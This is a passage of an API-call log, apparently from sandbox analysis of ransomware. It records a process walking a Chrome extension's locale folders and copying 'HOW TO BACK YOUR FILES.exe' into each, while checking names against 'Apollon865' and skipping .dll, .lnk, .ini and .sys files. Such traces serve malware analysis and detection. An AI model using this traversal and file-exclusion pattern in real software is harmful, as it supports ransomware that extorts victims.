	[0047.434] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.434] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835ec0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x345847f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x345847f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca490
	[0047.434] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.434] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.434] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.434] lstrlenW (lpString="messages.json") returned 13
	[0047.434] lstrlenW (lpString="Apollon865") returned 10
	[0047.434] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.434] lstrlenW (lpString=".dll") returned 4
	[0047.434] lstrcmpiW (lpString1="messages.json", lpString2=".dll") returned 1
	[0047.434] lstrlenW (lpString=".lnk") returned 4
	[0047.434] lstrcmpiW (lpString1="messages.json", lpString2=".lnk") returned 1
	[0047.434] lstrlenW (lpString=".ini") returned 4
	[0047.434] lstrcmpiW (lpString1="messages.json", lpString2=".ini") returned 1
	[0047.434] lstrlenW (lpString=".sys") returned 4
	[0047.434] lstrcmpiW (lpString1="messages.json", lpString2=".sys") returned 1
	[0047.434] lstrlenW (lpString="messages.json") returned 13
	[0047.434] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta"
	[0047.434] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0047.434] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afd68 | out: hHeap=0x580000) returned 1
	[0047.435] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta") returned 146
	[0047.435] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta"
	[0047.435] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.435] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.439] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.439] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835e4ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x345847f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x345847f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca490
	[0047.439] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.439] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.439] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.439] lstrlenW (lpString="messages.json") returned 13
	[0047.439] lstrlenW (lpString="Apollon865") returned 10
	[0047.439] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.439] lstrlenW (lpString=".dll") returned 4
	[0047.439] lstrcmpiW (lpString1="messages.json", lpString2=".dll") returned 1
	[0047.439] lstrlenW (lpString=".lnk") returned 4
	[0047.439] lstrcmpiW (lpString1="messages.json", lpString2=".lnk") returned 1
	[0047.439] lstrlenW (lpString=".ini") returned 4
	[0047.439] lstrcmpiW (lpString1="messages.json", lpString2=".ini") returned 1
	[0047.439] lstrlenW (lpString=".sys") returned 4
	[0047.439] lstrcmpiW (lpString1="messages.json", lpString2=".sys") returned 1
	[0047.439] lstrlenW (lpString="messages.json") returned 13
	[0047.439] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw"
	[0047.439] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5af8f0 | out: hHeap=0x580000) returned 1
	[0047.440] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afd48 | out: hHeap=0x580000) returned 1
	[0047.440] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw") returned 146
	[0047.440] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw"
	[0047.440] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.440] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.443] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.443] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835dd670, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x345847f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x345847f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca490
	[0047.444] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.444] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.444] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.444] lstrlenW (lpString="messages.json") returned 13
	[0047.444] lstrlenW (lpString="Apollon865") returned 10
	[0047.444] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.444] lstrlenW (lpString=".dll") returned 4
	[0047.444] lstrcmpiW (lpString1="messages.json", lpString2=".dll") returned 1
	[0047.444] lstrlenW (lpString=".lnk") returned 4
	[0047.444] lstrcmpiW (lpString1="messages.json", lpString2=".lnk") returned 1
	[0047.444] lstrlenW (lpString=".ini") returned 4
	[0047.444] lstrcmpiW (lpString1="messages.json", lpString2=".ini") returned 1
	[0047.444] lstrlenW (lpString=".sys") returned 4
	[0047.444] lstrcmpiW (lpString1="messages.json", lpString2=".sys") returned 1
	[0047.444] lstrlenW (lpString="messages.json") returned 13
	[0047.444] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv"
	[0047.444] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5af7b8 | out: hHeap=0x580000) returned 1
	[0047.444] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afd28 | out: hHeap=0x580000) returned 1
	[0047.444] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv") returned 146
	[0047.444] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv"
	[0047.444] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.444] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.449] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.449] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835daf60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x345aa950, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x345aa950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca490
	[0047.449] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.449] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.449] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.449] lstrlenW (lpString="messages.json") returned 13
	[0047.449] lstrlenW (lpString="Apollon865") returned 10
	[0047.449] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.449] lstrlenW (lpString=".dll") returned 4
	[0047.449] lstrcmpiW (lpString1="messages.json", lpString2=".dll") returned 1
	[0047.449] lstrlenW (lpString=".lnk") returned 4
	[0047.449] lstrcmpiW (lpString1="messages.json", lpString2=".lnk") returned 1
	[0047.449] lstrlenW (lpString=".ini") returned 4
	[0047.449] lstrcmpiW (lpString1="messages.json", lpString2=".ini") returned 1
	[0047.449] lstrlenW (lpString=".sys") returned 4
	[0047.449] lstrcmpiW (lpString1="messages.json", lpString2=".sys") returned 1
	[0047.449] lstrlenW (lpString="messages.json") returned 13
	[0047.449] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr"
	[0047.449] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5af680 | out: hHeap=0x580000) returned 1
	[0047.449] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afd08 | out: hHeap=0x580000) returned 1
	[0047.450] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr") returned 146
	[0047.450] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr"
	[0047.450] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.450] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.453] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.453] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835cec10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x345aa950, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x345aa950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca490
	[0047.453] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.454] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.454] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.454] lstrlenW (lpString="messages.json") returned 13
	[0047.454] lstrlenW (lpString="Apollon865") returned 10
	[0047.454] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.454] lstrlenW (lpString=".dll") returned 4
	[0047.454] lstrcmpiW (lpString1="messages.json", lpString2=".dll") returned 1
	[0047.454] lstrlenW (lpString=".lnk") returned 4
	[0047.454] lstrcmpiW (lpString1="messages.json", lpString2=".lnk") returned 1
	[0047.454] lstrlenW (lpString=".ini") returned 4
	[0047.454] lstrcmpiW (lpString1="messages.json", lpString2=".ini") returned 1
	[0047.454] lstrlenW (lpString=".sys") returned 4
	[0047.454] lstrcmpiW (lpString1="messages.json", lpString2=".sys") returned 1
	[0047.454] lstrlenW (lpString="messages.json") returned 13
	[0047.454] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl"
	[0047.454] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5af548 | out: hHeap=0x580000) returned 1
	[0047.454] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afce8 | out: hHeap=0x580000) returned 1
	[0047.454] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl") returned 146
	[0047.454] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl"
	[0047.454] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.454] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.476] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.476] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sl\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835c4fd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x345f6c10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x345f6c10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca490
	[0047.476] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.476] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.476] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.476] lstrlenW (lpString="messages.json") returned 13
	[0047.476] lstrlenW (lpString="Apollon865") returned 10
	[0047.476] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.476] lstrlenW (lpString=".dll") returned 4
	[0047.477] lstrcmpiW (lpString1="messages.json", lpString2=".dll") returned 1
	[0047.477] lstrlenW (lpString=".lnk") returned 4
	[0047.477] lstrcmpiW (lpString1="messages.json", lpString2=".lnk") returned 1
	[0047.477] lstrlenW (lpString=".ini") returned 4
	[0047.477] lstrcmpiW (lpString1="messages.json", lpString2=".ini") returned 1
	[0047.477] lstrlenW (lpString=".sys") returned 4
	[0047.477] lstrcmpiW (lpString1="messages.json", lpString2=".sys") returned 1
	[0047.477] lstrlenW (lpString="messages.json") returned 13
	[0047.477] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk"
	[0047.477] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5af410 | out: hHeap=0x580000) returned 1
	[0047.477] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0288 | out: hHeap=0x580000) returned 1
	[0047.477] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk") returned 146
	[0047.477] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk"
	[0047.477] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
